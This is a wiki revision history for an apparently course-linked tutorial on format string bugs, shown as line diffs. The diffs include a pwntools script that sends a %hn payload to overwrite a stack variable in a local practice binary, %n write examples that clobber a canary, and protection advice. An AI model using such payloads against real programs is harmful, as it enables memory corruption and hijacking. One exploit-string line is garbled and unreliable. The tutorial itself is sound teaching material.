Format String Bug Introduction - Revision history

Ikramer at 14:33, 19 May 2020

2020-05-19T14:33:14Z

← Older revision		Revision as of 14:33, 19 May 2020
Line 241:		Line 241:

	To overwrite an address of 4 bytes we just need two writing steps, be aware of the correct parameter passing.		To overwrite an address of 4 bytes we just need two writing steps, be aware of the correct parameter passing.

	'''Write Short Example:''' Given a binary with a Format String vulnerability vuln. We like to overwrite a variable <code>test</code> on the stack with the known address of <code>test_addr=0xffeeecac</code> and set it to <code>test=0x1337babe</code>. The input buffer used in the printf function is the 6th element on the stack.		'''Write Short Example:''' Given a binary with a Format String vulnerability vuln. We like to overwrite a variable <code>test</code> on the stack with the known address of <code>test_addr=0xffeeecac</code> and set it to <code>test=0x1337babe</code>. The input buffer used in the printf function is the 6th element on the stack.
	A Python script for exploitation string <code>p32(addr)+p32(addr+2)+'%'+str(first)+'x%6$hn'+%'+ str(second)'+x%7$hn</code> looks like		A Python script for exploitation string <code>p32(addr)+p32(addr+2)+'%'+str(first)+'x%6$hn'+%'+ str(second)'+x%7$hn</code> looks like

Ikramer at 14:32, 19 May 2020

2020-05-19T14:32:08Z

← Older revision		Revision as of 14:32, 19 May 2020
Line 241:		Line 241:

	To overwrite an address of 4 bytes we just need two writing steps, be aware of the correct parameter passing.		To overwrite an address of 4 bytes we just need two writing steps, be aware of the correct parameter passing.
	Example: Given a binary with a Format String vulnerability vuln. We like to overwrite a variable <code>test</code> on the stack with the known address of <code>test_addr=0xffeeecac</code> and set it to <code>test=0x1337babe</code>. The input buffer used in the printf function is the 6th element on the stack.		'''Write Short Example:''' Given a binary with a Format String vulnerability vuln. We like to overwrite a variable <code>test</code> on the stack with the known address of <code>test_addr=0xffeeecac</code> and set it to <code>test=0x1337babe</code>. The input buffer used in the printf function is the 6th element on the stack.
	A Python script for exploitation string <code>p32(addr)+p32(addr+2)+'%'+str(first)+'x%6$hn'+%'+ str(second)'+x%7$hn</code> looks like		A Python script for exploitation string <code>p32(addr)+p32(addr+2)+'%'+str(first)+'x%6$hn'+%'+ str(second)'+x%7$hn</code> looks like

Ikramer at 14:31, 19 May 2020

2020-05-19T14:31:01Z

← Older revision		Revision as of 14:31, 19 May 2020
Line 246:		Line 246:
	from pwn import *		from pwn import *
	p = process('./vuln')		p = process('./vuln')

	test_addr=0xffeeecac		test_addr=0xffeeecac
	payload=''		payload=''
Line 255:		Line 255:
	second+=0x1337-first-8		second+=0x1337-first-8
	payload+='%'+str(second)+'x%7$hn'		payload+='%'+str(second)+'x%7$hn'
			p.sendline(payload)
			p.interactive()

	(Now you should be able to solve the challenge CH1_root_me2 and CH2_printfun)		(Now you should be able to solve the challenge CH1_root_me2 and CH2_printfun)

Ikramer at 14:29, 19 May 2020

2020-05-19T14:29:47Z

@@ Line 239: / Line 239: @@
 Output: foo: 10204080 canary: 41414141
 Writing short values enables an exploitation of the Format String Bug  without overwriting nearby memory locations.
 (Now you should be able to solve the challenge CH1_root_me2 and CH2_printfun)

Ikramer at 13:52, 19 May 2020

2020-05-19T13:52:22Z

← Older revision		Revision as of 13:52, 19 May 2020
Line 172:		Line 172:
	(With this information you should be able to solve CH0_easyprintf)		(With this information you should be able to solve CH0_easyprintf)

	=== Write the Stack %n ===		=== Write the Stack ===

			==== Write with %n ====

	The <code>%n</code> Format Parameter writes the number of bytes already printed into a variable. The address of the variable is given to the format function by placing an integer pointer as parameter onto the stack.		The <code>%n</code> Format Parameter writes the number of bytes already printed into a variable. The address of the variable is given to the format function by placing an integer pointer as parameter onto the stack.

Ikramer at 13:25, 19 May 2020

2020-05-19T13:25:22Z

← Older revision		Revision as of 13:25, 19 May 2020
Line 256:		Line 256:

	* FormatGuard: Automatic Protection From printf Format String Vulnerabilities <ref name="formatguard" />		* FormatGuard: Automatic Protection From printf Format String Vulnerabilities <ref name="formatguard" />

			== Courses ==

			* [[Campus Cyber Security Team]] (05-15-2020)


Line 278:		Line 282:
	</references>		</references>

	[[Category:~~Basics~~]]		[[Category:Basic]]

Ikramer at 13:14, 19 May 2020

2020-05-19T13:14:32Z

← Older revision		Revision as of 13:14, 19 May 2020
Line 208:		Line 208:
	/* 4 / printf ("%128u%n", 7350, (int ) &foo[3]); //foo[3]=0x80		/* 4 / printf ("%128u%n", 7350, (int ) &foo[3]); //foo[3]=0x80
	/* 5 * after */ printf ("%02x%02x%02x%02x\n", foo[0], foo[1],foo[2], foo[3]);		/* 5 * after */ printf ("%02x%02x%02x%02x\n", foo[0], foo[1],foo[2], foo[3]);
	printf ("canary: %02x%02x%02x%02x\n", canary[0],		printf ("canary: %02x%02x%02x%02x\n", canary[0],canary[1], canary[2], canary[3]);
	canary[1], canary[2], canary[3]);

	In step 0 foo is initialized with 4 times <code>\x00</code> bytes and in the next variable on the stack a canary is stored with <code>AAAA</code> presented by <code>\x41\x41\x41\x41</code>. After the execution of the 4 steps bytewise write operation foo contains 10204080 as expected, but 3 bytes of the canary got overwritten <code>\x00\x00\x00\x41</code>= 00000041. The next Figure illustrates this behavior of the write procedures.(Image source:<ref name="expfor"/>)		In step 0 foo is initialized with 4 times <code>\x00</code> bytes and in the next variable on the stack a canary is stored with <code>AAAA</code> presented by <code>\x41\x41\x41\x41</code>. After the execution of the 4 steps bytewise write operation foo contains 10204080 as expected, but 3 bytes of the canary got overwritten <code>\x00\x00\x00\x41</code>= 00000041. The next Figure illustrates this behavior of the write procedures.(Image source:<ref name="expfor"/>)
Line 251:		Line 250:
	== Protection ==		== Protection ==
	* Programmer should use safe versions		* Programmer should use safe versions
	Never pass user input directly to Format Function without format specifier.		Never pass user input directly to Format Function without format specifier.<ref name="sins" />

	prinftf("%s",userinputbuffer)		prinftf("%s",userinputbuffer)

Ikramer at 13:06, 19 May 2020

2020-05-19T13:06:49Z

← Older revision		Revision as of 13:06, 19 May 2020
Line 256:		Line 256:
	snprintf(buf, sizeof buf, "%s", userinputbuffer);		snprintf(buf, sizeof buf, "%s", userinputbuffer);

	* FormatGuard: Automatic Protection From printf Format String Vulnerabilities <ref name="formatguard" \>		* FormatGuard: Automatic Protection From printf Format String Vulnerabilities <ref name="formatguard" />

Ikramer at 13:05, 19 May 2020

2020-05-19T13:05:04Z

← Older revision		Revision as of 13:05, 19 May 2020
Line 239:		Line 239:
	Writing short values enables an exploitation of the Format String Bug without overwriting nearby memory locations.		Writing short values enables an exploitation of the Format String Bug without overwriting nearby memory locations.

	(Now you should be able to solve the challenge CH1_root_me2)		(Now you should be able to solve the challenge CH1_root_me2 and CH2_printfun)


Line 256:		Line 256:
	snprintf(buf, sizeof buf, "%s", userinputbuffer);		snprintf(buf, sizeof buf, "%s", userinputbuffer);

	* FormatGuard: Automatic Protection From printf Format String Vulnerabilities ~~[3]~~		* FormatGuard: Automatic Protection From printf Format String Vulnerabilities <ref name="formatguard" \>

Ikramer at 13:02, 19 May 2020

2020-05-19T13:02:26Z

Show changes